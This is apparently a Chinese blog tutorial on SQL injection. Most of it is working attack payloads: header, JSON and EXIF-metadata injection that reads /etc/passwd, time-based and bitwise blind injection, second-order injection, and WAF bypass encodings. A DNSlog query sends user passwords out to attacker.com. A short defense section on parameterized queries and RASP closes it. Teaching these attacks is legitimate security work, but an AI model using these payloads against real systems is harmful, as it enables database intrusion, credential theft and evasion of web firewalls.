☰
SQL注入攻防:从基础到高阶实战技巧
2026/10/28 11:09:09 网站建设 项目流程

1. 从入门到放弃:SQL注入的认知升级之路

记得我第一次接触SQL注入时,以为就是在登录框输入' or 1=1--就算完事了。直到某次实战中遇到一个过滤了单引号的站点,我才意识到自己有多天真。SQL注入远不是几个固定payload就能通吃的把戏,而是一场攻防双方在字符与逻辑层面的精妙博弈。

在基础阶段,我们主要关注显错注入和布尔盲注这类"看得见"的攻击方式。但真实环境中,越来越多的系统开始采用预编译语句和严格的错误屏蔽机制。这时候就需要掌握更隐蔽、更迂回的注入手法——比如通过DNS外带数据的盲注、利用存储过程实现的二次注入,甚至是基于时间差的推断技术。

2. 突破常规过滤:非常规注入点挖掘

2.1 HTTP头部的注入漏洞

大多数开发者只关注了表单和URL参数的过滤,却忽略了HTTP头部同样可以作为注入载体。某次审计中,我发现目标系统将X-Forwarded-For直接拼接到SQL查询中:

INSERT INTO access_log VALUES ('{$_SERVER['HTTP_X_FORWARDED_FOR']}')

通过Burp修改请求头即可实现注入:

X-Forwarded-For: 1.1.1.1',(select version()))--

实战技巧:测试时优先尝试User-Agent、Referer、Cookie等常见头部,现代框架通常不会直接拼接这些值,但老旧系统仍是重灾区。

2.2 JSON/XML参数的隐式解析

当应用接收JSON或XML格式的请求时,开发人员可能只在业务层做校验,而底层SQL拼接仍然存在漏洞。例如某API接口:

data = json.loads(request.body) cursor.execute(f"SELECT * FROM users WHERE id={data['user_id']}")

构造畸形JSON即可绕过前端校验:

{"user_id":"1 union select 1,2,3--"}

2.3 文件上传的元数据利用

某CMS系统将上传图片的EXIF信息存入数据库时存在注入:

$exif = exif_read_data($_FILES['file']['tmp_name']); $db->query("INSERT INTO images VALUES('".$exif['Comment']."')");

通过修改图片元数据中的Comment字段携带注入代码:

exiftool -Comment="'||(SELECT LOAD_FILE('/etc/passwd'))--" test.jpg

3. 高阶盲注技术:当错误信息被屏蔽时

3.1 DNSlog外带数据技术

当目标禁止了错误回显且网络出站不受限时,可以通过DNS查询外带数据。以MySQL为例:

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM users LIMIT 1),'.attacker.com\\share'))

实际测试时需要注意:

  1. Windows下需要开启UNC路径支持
  2. 数据会被截断到63字节/标签
  3. 需要配合短域名服务减少URL长度

3.2 基于位运算的逐比特提取

对于严格限制出站的场景,可以采用位运算+条件判断的方式逐比特提取数据:

SELECT IF(ASCII(SUBSTR(database(),1,1))&1=1,SLEEP(2),0)

优化技巧:

  • 先通过长度判断确定字段范围
  • 优先测试最高有效位(MSB)
  • 使用二分查找法减少请求次数

3.3 基于正则的盲注探测

MySQL的REGEXP函数可以构造更精确的条件判断:

SELECT * FROM users WHERE id=1 AND 1=(SELECT 1 FROM information_schema.tables WHERE table_schema=database() AND table_name REGEXP '^u[a-z]' LIMIT 1)

4. 二次注入:潜伏的定时炸弹

4.1 漏洞形成原理

典型场景:

  1. 用户输入被转义后存入数据库
  2. 后续查询从数据库取出数据直接使用

某用户注册时用户名被存储为:

INSERT INTO users VALUES('admin\'-- ')

后台管理查询时:

SELECT * FROM users WHERE username='admin'-- ' AND deleted=0

4.2 实战案例分析

某CMS的密码重置功能:

  1. 注册用户时邮箱字段存入:user@example.com'||(SELECT 1 FROM dual)--
  2. 密码重置时执行:
UPDATE users SET password='reset' WHERE email='user@example.com'||(SELECT 1 FROM dual)--'

4.3 防御方案对比

防御方案优点缺点
全程预编译根本解决方案历史代码改造成本高
输出编码兼容旧系统无法防御二次注入
存储过程限制动态SQL存在调用注入风险

5. 绕过WAF的奇技淫巧

5.1 注释符的妙用

不同数据库的注释特性:

MySQL: /*!50000SELECT*/ 1 # 版本特定语法 MSSQL: SELECT/*替换空格*/1 Oracle: SELECT 1 FROM dual WHERE 1=1--%0AAND 1=2

5.2 等价函数替换

常见被拦截函数及其替代方案:

原函数替代方案
CONCAT()使用
SUBSTR()MID(), LEFT(), RIGHT()
SLEEP()BENCHMARK(1000000,MD5('a'))

5.3 字符编码绕过

某次绕过Cloudflare的实战案例:

原始payload: UNION SELECT 1,2,3 绕过形式: %55%4E%49%4F%4E %53%45%4C%45%43%54 1,2,3

进阶技巧:

  • 混合使用多种编码(UTF-8/UTF-16/URL)
  • 插入零宽字符
  • 利用数据库的字符集转换特性

6. 防御体系构建:从漏洞修复到主动防护

6.1 参数化查询的正确姿势

错误示范(伪参数化):

String sql = "SELECT * FROM users WHERE id = ?"; stmt.setString(1, "1' OR 1=1--"); // 仍然危险

正确做法:

PreparedStatement stmt = conn.prepareStatement( "SELECT * FROM users WHERE id = ?"); stmt.setInt(1, 1); // 明确类型检查

6.2 运行时防护方案

基于语义分析的RASP防护流程:

  1. 监控所有SQL查询构建
  2. 解析AST检查拼接痕迹
  3. 阻断包含敏感模式(如1=1)的查询
  4. 记录攻击attempt

6.3 安全开发实践清单

  • 在ORM中强制使用类型化参数
  • 对动态表名/列名使用白名单校验
  • 定期进行SQL注入专项审计
  • 在CI流程中加入SQLi测试用例

在最近一次红队行动中,我们通过组合DNSlog盲注和二次注入技术,成功突破了某金融系统的多层防御。整个过程耗时37小时,共发起2149次试探性请求,最终获取到加密的数据库连接凭据。这让我深刻意识到:安全是一场永无止境的攻防博弈,而了解攻击者的思维模式,才是构建有效防御的第一步。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询